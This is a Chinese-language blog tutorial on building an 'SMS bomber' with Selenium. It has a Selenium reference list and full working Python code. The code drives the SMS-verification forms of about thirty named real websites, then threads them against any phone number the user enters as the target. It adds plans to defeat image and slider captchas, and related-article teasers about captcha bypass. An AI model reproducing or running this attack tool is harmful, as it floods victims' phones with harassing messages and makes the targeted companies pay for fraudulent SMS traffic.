摘要:短信轟炸的前世今生以前的網站幾乎不會對短信驗證碼接口做太多的安全防護,導致調用短信接口十分容易構造一個或者的請求就可以了惡意調用網站的短信驗證碼會讓平臺負擔更多的費用所以各大網站便采用各種方法來防止惡意調用短信接口,諸如簡單圖片驗證碼加上
短信轟炸的前世今生
以前的網站幾乎不會對短信驗證碼接口做太多的安全防護,導致調用短信接口十分容易 - 構造一個post或者get的請求就可以了!惡意調用網站的短信驗證碼會讓平臺負擔更多的費用!所以各大網站便采用各種方法來防止惡意調用短信接口,諸如:
簡單圖片驗證碼加上干擾因素
圖片驗證碼內包含簡單運算
點擊倒立文字
滑塊驗證碼
滑塊拼圖
圖靈測試
后臺記錄
雖然上述的保護措施都有相應的辦法解決,但代價是很大的!對于短信轟炸機來說,避開這些被保護的網站才是最好的辦法!我們需要找到是那些只做了后臺記錄,沒有其它措施的網站。當我們找到大量這樣的網站,我們就能達到轟炸的效果!但如果網站故意把發包的數據弄得很復雜,沒學過web豈不是就涼涼了。先不要慌,我們請出今天的主角- Selenium,這個python庫可以模擬執行瀏覽器操作,這樣我們就不用發包,直接模擬填寫表單點擊發送就可以了!最后,寫短信轟炸機就純屬體力活了
Selenium的安裝使用Selenium的庫安裝很簡單,python直接使用pip install即可!使用這個庫之前需要下載相應的瀏覽器驅動,并將下載的驅動放到python的安裝目錄下。
舉個栗子:我用的是最新的火狐瀏覽器,先進官網下載對應的驅動,我下載的是geckodriver-v0.22,我的python目錄在C:python27-x64,將剛剛下載的驅動放到這個目錄下即可!
Selenium的常見用法
定位元素:完整代碼
find_element_by_id 通過元素id定位
find_element_by_name 通過元素name定位
find_element_by_xpath 通過xpath表達式定位
find_element_by_link_text 通過完整超鏈接定位
find_element_by_partial_link_text 通過部分鏈接定位
find_element_by_tag_name 通過標簽定位
find_element_by_class_name 通過類名進行定位
find_element_by_css_selector 通過css選擇器進行定位常用函數:
set_window_size() 設置瀏覽器的大小
back() 控制瀏覽器后退
forward() 控制瀏覽器前進
refresh() 刷新當前頁面
clear() 清除文本
send_keys(value) 模擬按鍵輸入
click() 單擊元素
submit() 用于提交表單
get_attribute(name) 獲取元素屬性值
is_displayed() 設置該元素是否用戶可見
size 返回元素的尺寸
text 獲取元素的文本
WebDriverWait() 顯示等待,滿足條件才執行
driver.implicitly_wait(8) 隱式等待,設置超時時間,無影響鼠標操作:
ActionChains(driver) 構造ActionChains對象
context_click() 執行鼠標懸停操作
move_to_element(above) 右擊
double_click() 雙擊
drag_and_drop() 拖動
move_to_element(above) 執行鼠標懸停操作
context_click() 用于模擬鼠標右鍵操作, 在調用時需要指定元素定位
perform() 執行所有 ActionChains 中存儲的行為,可以理解成是對整個操作的提交動作鍵盤操作:
send_keys(Keys.BACK_SPACE) 刪除鍵(BackSpace)
send_keys(Keys.SPACE) 空格鍵(Space)
send_keys(Keys.TAB) 制表鍵(Tab)
send_keys(Keys.ESCAPE) 回退鍵(Esc)
send_keys(Keys.ENTER) 回車鍵(Enter)
send_keys(Keys.CONTROL,‘a’) 全選(Ctrl+A)
send_keys(Keys.CONTROL,‘c’) 復制(Ctrl+C)斷言:
title 用于獲得當前頁面的標題
current_url 用戶獲得當前頁面的URL
text 獲取搜索條目的文本信息窗口切換:
current_window_handle 獲得當前窗口句柄
window_handles 返回所有窗口的句柄到當前會話
switch_to.window() 用于切換到相應的窗口下拉框:
select_by_value(“選擇值”) 相當于我們使用鼠標選擇下拉框的值Cookie:
get_cookies() 獲得所有cookie信息
get_cookie(name) 返回字典的key為“name”的cookie信息
add_cookie(cookie_dict) 添加cookie。“cookie_dict”指字典對象
delete_cookie(name,optionsString) 刪除cookie信息
delete_all_cookies() 刪除所有cookie信息調用JS:
js="window.scrollTo(100,450);"
driver.execute_script(js)關閉窗口:
close() 關閉單個窗口
quit() 關閉所有窗口
短信驗證碼接口(smsbomber.py):
# encoding=utf8 import time from selenium import webdriver class Bomber(object): def __init__(self, phone): self.phone = phone self.options = webdriver.FirefoxOptions() self.options.add_argument("--headless") # 后臺模式 # 百度 def func0(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.baidu.com/") browser.find_element_by_xpath("http://*[@id="u1"]/a[7]").click() browser.find_element_by_xpath("http://*[@id="TANGRAM__PSP_10__footerULoginBtn"]").click() browser.find_element_by_xpath("http://*[@id="TANGRAM__PSP_10__smsSwitchWrapper"]").click() browser.find_element_by_xpath("http://*[@id="TANGRAM__PSP_10__smsPhone"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="TANGRAM__PSP_10__smsTimer"]").click() browser.quit() # 1號店 def func1(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://passport.yhd.com/passport/register_input.do") browser.find_element_by_xpath("http://*[@id="userName"]").send_keys("helloworld998") browser.find_element_by_xpath("http://*[@id="phone"]").send_keys(self.phone) time.sleep(1) browser.find_element_by_xpath("http://*[@id="validPhoneCodeDiv"]/a").click() browser.find_element_by_xpath("http://*[@id="validPhoneCodeDiv"]/a").click() browser.quit() # 中國移動 def func2(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://login.10086.cn/login.html") browser.find_element_by_xpath("http://*[@id="sms_login_1"]").click() browser.find_element_by_xpath("http://*[@id="sms_name"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="getSMSPwd1"]").click() browser.quit() # 51book def func3(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://caigou.51book.com/caigou/manage/designatedRegistryNewSignon.in") browser.find_element_by_xpath("http://*[@id="cg_06"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="sendMSgBtu"]").click() browser.quit() # 世界邦 def func4(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://www.shijiebang.com/reg/") browser.find_element_by_xpath("/html/body/div[1]/div/div[3]/div/ul[1]/li[1]/a").click() browser.find_element_by_xpath("/html/body/div[8]/div[2]/div/div[2]/div/label[2]/input").click() browser.find_element_by_xpath("/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[1]/td/div/input").send_keys(self.phone) browser.find_element_by_xpath("/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[2]/td/div/button").click() browser.quit() # 優酷 def func5(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://account.youku.com/register.htm") browser.find_element_by_xpath("http://*[@id="passport"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="password"]").send_keys("helloworld998") browser.find_element_by_xpath("http://*[@id="repeatPsd"]").send_keys("helloworld998") browser.find_element_by_xpath("http://*[@id="getMobileCode"]").click() browser.quit() # 亞馬遜 def func6(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.amazon.cn/ap/register?_encoding=UTF8&openid.assoc_handle=cnflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.cn%2Fgp%2Fyourstore%2Fhome%3Fie%3DUTF8%26ref_%3Dnav_custrec_newcust") # browser.find_element_by_xpath("http://*[@id="nav-flyout-ya-newCust"]/a").click() browser.find_element_by_xpath("http://*[@id="ap_customer_name"]").send_keys("Mike998") browser.find_element_by_xpath("http://*[@id="ap_phone_number"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="ap_password"]").send_keys("pwd123456") browser.find_element_by_xpath("http://*[@id="ap_register_form"]/div/div/div[5]/div/label/input").click() browser.find_element_by_xpath("http://*[@id="continue"]").click() browser.quit() # 私否 def func7(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://segmentfault.com/") browser.find_element_by_xpath("/html/body/div[2]/nav/div[2]/div[2]/ul/li/a[1]").click() browser.find_element_by_xpath("/html/body/div[5]/div/div/div[2]/div/div/div/form/div[4]/a").click() browser.find_element_by_xpath("/html/body/div[5]/div/div/div[2]/div/div/div/form/div[1]/input").send_keys(self.phone) browser.find_element_by_xpath("/html/body/div[5]/div/div/div[2]/div/div/div/form/div[2]/div[1]/span/button").click() browser.quit() # 中瑞財富 def func8(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.zrcaifu.com/register") browser.find_element_by_xpath("http://*[@id="register-ul"]/li[1]/input").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="register-ul"]/li[1]/input").click() browser.find_element_by_xpath("http://*[@id="register-ul"]/li[2]/input").send_keys("pwd123456") browser.find_element_by_xpath("http://*[@id="register-ul"]/li[2]/input").click() browser.find_element_by_xpath("http://*[@id="register-ul"]/li[3]/input").send_keys("pwd123456") time.sleep(1) browser.find_element_by_xpath("http://*[@id="sendsms-for-regiter"]").click() browser.quit() # 97格格 def func9(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.97gg.net/Account/Register") browser.find_element_by_xpath("http://*[@id="phoneRegistTab"]/tab").click() browser.find_element_by_xpath("http://*[@id="UserName"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="Password"]").send_keys("pwd123456") browser.find_element_by_xpath("http://*[@id="ConfirmPassword"]").send_keys("pwd123456") browser.find_element_by_xpath("http://*[@id="chkCodeSendBtn"]").click() browser.quit() # 千米 def func10(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.1000.com/reg?us=3W-head") browser.find_element_by_xpath("http://*[@id="react-content"]/div/div/div/div[2]/form/div[2]/div[2]/div/div/input").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="send_code"]").click() browser.quit() # 唯品會 def func11(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://passport.vip.com/register") browser.find_element_by_xpath("http://*[@id="J_mobile_name"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="J_mobile_verifycode_btn"]").click() browser.quit() # 嗨廚房 def func12(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://m.haichufang.com/reg.html") browser.find_element_by_xpath("http://*[@id="login"]/div[2]/input").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="login"]/div[2]/div[2]/div[1]").click() browser.quit() # 好美家 def func13(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://www.jaja123.com/web/register") browser.find_element_by_xpath("/html/body/div/div[4]/form/div/div[1]/div[2]/div[1]/input").send_keys(u"張飛") browser.find_element_by_xpath("/html/body/div/div[4]/form/div/div[1]/div[3]/div[1]/input").send_keys(self.phone) browser.find_element_by_xpath("/html/body/div/div[4]/form/div/div[1]/div[4]/div[1]/input").send_keys("pwd123456") browser.find_element_by_xpath("/html/body/div/div[4]/form/div/div[1]/div[5]/div[1]/input").send_keys("pwd123456") browser.find_element_by_xpath("/html/body/div/div[4]/form/div/div[1]/div[6]/div[1]/div/span/button").click() browser.quit() # 小米 def func14(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://cn.account.xiaomi.com/pass/register?_locale=zh_CN") browser.find_element_by_xpath("http://*[@id="main_container"]/div[3]/div[1]/div/div[3]/div[2]/label/input").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="main_container"]/div[3]/div[1]/div/div[6]/input").click() browser.quit() # 巨人網絡 def func15(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://reg.ztgame.com/") browser.find_element_by_xpath("http://*[@id="reg_form"]/div[1]/input").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="reg_form"]/div[2]/input[2]").click() browser.quit() # 微盟 def func16(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://account.weimob.com/register") browser.find_element_by_xpath("http://*[@id="phone"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="signUpForm"]/div[3]/a").click() browser.quit() # 商品宅配 def func17(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://www.homekoo.com/zhixiao/cuxiao/index.php") browser.find_element_by_xpath("http://*[@id="username5"]").send_keys(u"張飛") browser.find_element_by_xpath("http://*[@id="tel5"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="submit_img5"]").click() browser.quit() # 快樂購 def func18(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://www.happigo.com/register/") browser.find_element_by_xpath("http://*[@id="mobile"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="send_auth_code"]").click() browser.quit() # 手機中國 def func19(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://passport.cnmo.com/register/") browser.find_element_by_xpath("http://*[@id="m_mobile"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="m_uname"]").send_keys("helloworld998") browser.find_element_by_xpath("http://*[@id="m_password"]").send_keys("pwd123456") browser.find_element_by_xpath("http://*[@id="m_confirm"]").send_keys("pwd123456") browser.find_element_by_xpath("http://*[@id="m_getcode"]").click() browser.quit() # 蘇寧 def func20(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://reg.suning.com/person.do") browser.find_element_by_xpath("http://*[@id="mobileAlias"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="sendSmsCode"]").click() browser.quit() # 愛奇藝 def func21(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://www.iqiyi.com/iframe/loginreg?is_reg=1&") browser.find_element_by_xpath("/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/div[2]/i").click() browser.find_element_by_xpath("/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/div[1]/div[2]/input").send_keys(self.phone) browser.find_element_by_xpath("/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/a[2]").click() browser.quit() def func22(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.facebank.cn/user.html") # browser.switch_to.alert() browser.find_element_by_xpath("http://*[@id="mobile"]").send_keys(self.phone) time.sleep(1) browser.find_element_by_xpath("http://*[@id="getSmsCode"]").click() time.sleep(1) browser.quit() # 支付寶 def func23(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://memberprod.alipay.com/account/reg/index.htm") # 焦點問題未解決,支付寶接口無效 browser.quit() # 粉筆網 def func24(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://fenbi.com/web/signup") # 彈窗問題,接口無效 browser.quit() def func25(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://jrh.financeun.com/Login/jrwLogin?web=jrw") browser.find_element_by_xpath("http://*[@id="login-segment-phoneLogin"]").click() browser.find_element_by_xpath("http://*[@id="quickMobile"]").send_keys(self.phone) time.sleep(1) browser.find_element_by_xpath("http://*[@id="quickSendMsgCode"]").click() browser.quit() def func26(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.maifupay.com/register") browser.find_element_by_xpath("/html/body/div[2]/div/div[1]/form/div[1]/input").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="sendVerifySmsButton"]").click() browser.quit() def func27(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://passport.ingping.com/reg/index?retUrl=https%3A%2F%2Fwww.ingping.com&fxPid=") browser.find_element_by_xpath("http://*[@id="phoneNum"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="sendRegMsgA"]").click() browser.quit() def func28(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.decathlon.com.cn/zh/create") browser.find_element_by_xpath("http://*[@id="mobile"]").send_keys(self.phone) time.sleep(1) browser.find_element_by_xpath("http://*[@id="login-button"]").click() time.sleep(1) browser.quit() # 迅雷 def func29(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://vip.xunlei.com/?referfrom=v_pc_qtcp_ggong_xlhy") # 類似支付寶頁面無法解決焦點問題,猜測用JS解決 browser.quit() def func30(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://my.ruanmei.com/?page=register") browser.find_element_by_xpath("http://*[@id="phone"]").send_keys(self.phone) time.sleep(1) browser.find_element_by_xpath("http://*[@id="sendsms"]").click() browser.quit() def func31(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("https://www.juhe.cn/register") browser.find_element_by_xpath("http://*[@id="username"]").send_keys("helloworld998") browser.find_element_by_xpath("http://*[@id="password"]").send_keys("pwd123456") browser.find_element_by_xpath("http://*[@id="mobilephone"]").send_keys(self.phone) browser.find_element_by_xpath("http://*[@id="reg_smsbtn"]").click() time.sleep(1) browser.quit() def func32(self): browser = webdriver.Firefox(firefox_options=self.options) browser.implicitly_wait(8) browser.get("http://passport.zongheng.com/webreg?location=http%3A%2F%2Fwww.zongheng.com%2F") browser.find_element_by_xpath("http://*[@id="regphone"]").send_keys(self.phone) time.sleep(1) browser.find_element_by_xpath("/html/body/div[3]/div[2]/p[3]/span").click() browser.quit()
調用上面的接口實施攻擊(attack.py):
# encoding=utf8 # attack.py from smsbomber import Bomber import threading def attack1(phone): func = ["func%d" %i for i in range(0,15)] for i in func: if hasattr(Bomber,i): try: getattr(Bomber(phone),i)() print "%s has excuted!" %i except: print "%s meet some problems!" %i continue else: print "There is not %s" %i def attack2(phone): func = ["func%d" %i for i in range(15,30)] for i in func: if hasattr(Bomber,i): try: getattr(Bomber(phone),i)() print "%s has excuted!" %i except: print "%s meet some problems!" %i continue else: print "There is not %s" %i def attack3(phone): func = ["func%d" %i for i in range(30,45)] for i in func: if hasattr(Bomber,i): try: getattr(Bomber(phone),i)() print "%s has excuted!" %i except: print "%s meet some problems!" %i continue else: print "There is not %s" %i phone = raw_input("Who do you want to attack:").strip() # phone = "01234567890" thread1 = threading.Thread(target=attack1,name="thread1",args=(phone,)) thread2 = threading.Thread(target=attack2,name="thread2",args=(phone,)) thread3 = threading.Thread(target=attack3,name="thread3",args=(phone,)) # threading.current_thread().name thread1.start() thread2.start() thread3.start() thread1.join() thread2.join() thread3.join() print "Good Bye!"
已經實現:
多線程
異常處理
減少瀏覽器驅動的資源占用
暫未實現并且有可能實現:
多進程
機器學習識別簡單的圖片驗證碼
JS模擬拖動滑塊
ActionChains實現拼圖
運行結果
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/44892.html
摘要:代碼代碼很簡單,主要是為了熟悉這個庫的函數,為后續的短信轟炸做個鋪墊 代碼 代碼很簡單,主要是為了熟悉Selenium這個庫的函數,為后續的短信轟炸做個鋪墊 from selenium import webdriver import time import random url = raw_input(Input your website:).strip() num = int(ra...
摘要:短信轟炸相關短信轟炸主要是利用驗證碼攻擊,通過戶產品驗證碼獲取的接,通過自動化腳本式批量對單個或者多個號碼進驗證碼重復請求提交,戶驗證碼被刷后直接帶來的是經濟損失,同時對被攻擊的號碼帶來了巨的騷擾。短信轟炸相關短信轟炸主要是利用驗證碼攻擊,通過?戶產品驗證碼獲取的接?,通過自動化腳本?式批量對單個或者多個號碼進?驗證碼重復請求提交,?戶驗證碼被刷后直接帶來的是經濟損失,同時對被攻擊的號碼帶來...
摘要:以網易云易盾的驗證碼產品為例行為驗證碼具備運用大數據分析和機器學習模型進行優化升級的特點。路徑可以理解為驗證碼展示用戶行為分析機器人學習返回驗證結果機器模型升級的循環,保證了網易云易盾行為式驗證碼的不斷迭代升級。 當然有必要,這里我們來聊一個惡意短信驗證的案例,通過這個案例我們就能更好理解短信驗證碼和圖片驗證碼這兩者的關系了。 討論防止惡意短信驗證之前,我們先來看看什么是惡意短信驗證及...
摘要:是一款優秀的自動化測試工具,所以現在采用進行半自動化爬取數據,支持模擬登錄淘寶和自動處理滑動驗證碼。編寫思路由于現在大型網站對工具進行檢測,若檢測到,則判定為機器人,訪問被拒絕。以開頭的在中表示類名,以開頭的在中表示名。 簡介 模擬登錄淘寶已經不是一件新鮮的事情了,過去我曾經使用get/post方式進行爬蟲,同時也加入IP代理池進行跳過檢驗,但隨著大型網站的升級,采取該策略比較難實現了...
閱讀 3560·2021-09-22 10:52
閱讀 1588·2021-09-09 09:34
閱讀 1990·2021-09-09 09:33
閱讀 758·2019-08-30 15:54
閱讀 2596·2019-08-29 11:15
閱讀 713·2019-08-26 13:37
閱讀 1667·2019-08-26 12:11
閱讀 2975·2019-08-26 12:00